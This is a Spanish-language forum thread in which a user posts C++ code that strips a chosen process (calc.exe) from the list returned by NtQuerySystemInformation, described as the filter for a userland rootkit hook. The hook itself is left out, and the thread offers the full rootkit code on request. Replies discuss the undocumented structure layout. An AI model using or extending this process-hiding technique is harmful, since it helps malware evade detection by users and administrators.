[FILTRO] Ocultando procesos a NtQuerySystemInformacion

Iniciado por fary, 6 Febrero 2016, 08:03 AM

0 Miembros y 1 Visitante están viendo este tema.

fary

No es el código completo, ya que sería todo demasiado masticado  :xD peeero, lo que queda de implementar (el hook a la api) se puede hacer fácilmente siguiendo mi tutorial sobre ello.

Esto es solo un ejemplo de cómo sería el filtro para ocultar procesos a dicha API (la que usa el admin de tareas para listar los procesos)  >:D

Si abrimos  la calculadora de windows (calc.exe) y descomentamos las línea de código vamos a ver como va mostrando todos los procesos menos el que ocultamos nosotros (con el while anterior).

En fin, aquí esta el código.

// Filtro procesos a la API NtQuerySystemInformation
// Juan fary.
// MVSC++ 2008

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

typedef struct _SYSTEM_PROCESS_INFORMATION
{
   DWORD NextEntryOffset;
char fary1[56];
   DWORD ImageName;
DWORD fary2;
   LONG BasePriority;
   PVOID UniqueProcessId;
} SYSTEM_PROCESS_INFORMATION;

typedef DWORD (WINAPI * _SystemProcessInformation)(DWORD, void*, unsigned long, unsigned long*);

int main()
{
_SYSTEM_PROCESS_INFORMATION * spi;
DWORD ret;
char proceso[18] = "c\0a\0l\0c\0.\0e\0x\0e\0\0"; // "calc.exe" en unicode proceso que no se mostrará

_SystemProcessInformation __SystemProcessInformation = (_SystemProcessInformation)GetProcAddress(LoadLibraryA("NTDLL.DLL"), "NtQuerySystemInformation");

void * buffer = VirtualAlloc(NULL, 1024*1024, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);

spi = (_SYSTEM_PROCESS_INFORMATION *)buffer;

ret = __SystemProcessInformation(5, spi, 1024*1024, NULL);


//_SYSTEM_PROCESS_INFORMATION * Intacta = spi; // Para comprobar que el hook funciono.


while(spi->NextEntryOffset) // Filtro para saltar el proceso que nosotros queramos.
{
_SYSTEM_PROCESS_INFORMATION * Viejospi = spi;
spi = (_SYSTEM_PROCESS_INFORMATION*)((LPBYTE)spi+spi->NextEntryOffset);

if (lstrcmpW((LPCWSTR)spi->ImageName,(LPCWSTR)proceso) == 0)
{
Viejospi->NextEntryOffset += (DWORD)spi->NextEntryOffset;
}else{
spi = Viejospi;
spi = (_SYSTEM_PROCESS_INFORMATION*)((LPBYTE)spi+spi->NextEntryOffset);
}        
}

/*spi = Intacta;
while(spi->NextEntryOffset) // Comprobamos que muestra todos los procemos menos el que ocultamos ;P
   {
       MessageBoxW(0, (LPCWSTR) spi->ImageName, 0, 0);
       spi=(_SYSTEM_PROCESS_INFORMATION*)((LPBYTE)spi+spi->NextEntryOffset);
   }*/

return 0;
}


Sí teneis alguna duda o queréis que ponga el código completo del rootkit avisar, aunque perdería la gracia.

saludos.
Un byte a la izquierda.

Arnaldo Otegi

Mui buena fary si señor,un pedazo de aporte como siempre,va para el baul.

crack81

Hola fary he estado mirando tu codigo, pero no se de donde te sacaste
la estructura system_process_information

segun la documentacion de microsoft es esta
Código (cpp) [Seleccionar]
typedef struct _SYSTEM_PROCESS_INFORMATION {
    ULONG NextEntryOffset;
    BYTE Reserved1[52];
    PVOID Reserved2[3];
    HANDLE UniqueProcessId;
    PVOID Reserved3;
    ULONG HandleCount;
    BYTE Reserved4[4];
    PVOID Reserved5[11];
    SIZE_T PeakPagefileUsage;
    SIZE_T PrivatePageCount;
    LARGE_INTEGER Reserved6[6];
} SYSTEM_PROCESS_INFORMATION;


pero obviamente no funciona ya que el tamano de la estructura es diferente me he dado cuenta que a fuerza se necesitan reservan 56 bytes para que la siguiente variable pueda almacenar la direccion del nombre del proceso en este caso para que funcione tengo que comentar la variable reserved2 y reasginar el tamano de reserved1 a 56
algo asi

Código (cpp) [Seleccionar]
typedef struct _SYSTEM_PROCESS_INFORMATION
{
    ULONG NextEntryOffset;
    BYTE Reserved1[56];
   // PVOID Reserved2[3];
    HANDLE UniqueProcessId;
    PVOID Reserved3;
    ULONG HandleCount;
    BYTE Reserved4[4];
    PVOID Reserved5[11];
    SIZE_T PeakPagefileUsage;
    SIZE_T PrivatePageCount;
    LARGE_INTEGER Reserved6[6];
} SYSTEM_PROCESS_INFORMATION;


Asi si funciona pero algo no cuadra ya que presiento que los valores de la estrucutra que publico microsoft  por algo son y no entiendo porque hay que estar modificandolos o no alcanzo a entenderlo del todo.

la info la he sacado de aqui : https://msdn.microsoft.com/en-gb/library/windows/desktop/ms724509.aspx

ademas cuesta trabajo leer esto
Código (cpp) [Seleccionar]
ret = __SystemProcessInformation(5, spi, 1024*1024, NULL);
no se que sicnifica ese cinco, te recomiendo que pongas el enumerado que le corresponde en este caso

Código (cpp) [Seleccionar]
typedef enum _SYSTEM_INFORMATION_CLASS
{
    SystemBasicInformation = 0,
    SystemPerformanceInformation = 2,
    SystemTimeOfDayInformation = 3,
    SystemProcessInformation = 5,
    SystemProcessorPerformanceInformation = 8,
    SystemInterruptInformation = 23,
    SystemExceptionInformation = 33,
    SystemRegistryQuotaInformation = 37,
    SystemLookasideInformation = 45
} SYSTEM_INFORMATION_CLASS;


y obivamente la llamada seria
Código (cpp) [Seleccionar]
__SystemProcessInformation(SystemProcessInformation, spi, 1024*1024, NULL);
Si C/C++ es el padre de los lenguajes entonces ASM es dios.

fary

#3
crack81,

La estructura que publica microsoft como habrás podido comprobar no esta completa... vamos, que no sirve para nada esa documentación, te dice que existe pero no sus campos.

http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FSystem%20Information%2FNtQuerySystemInformation.html

Por otra parte, aquí:

ret = __SystemProcessInformation(5, spi, 1024*1024, NULL);

No he puesto el nombre de la constante pues no sé por que la verdad pero no creo que cueste tanto leerlo, Si quieres saber como funciona la API vas a mirar la documentación y si miras la documentación vas a ver porque es así.

saludos.


Un byte a la izquierda.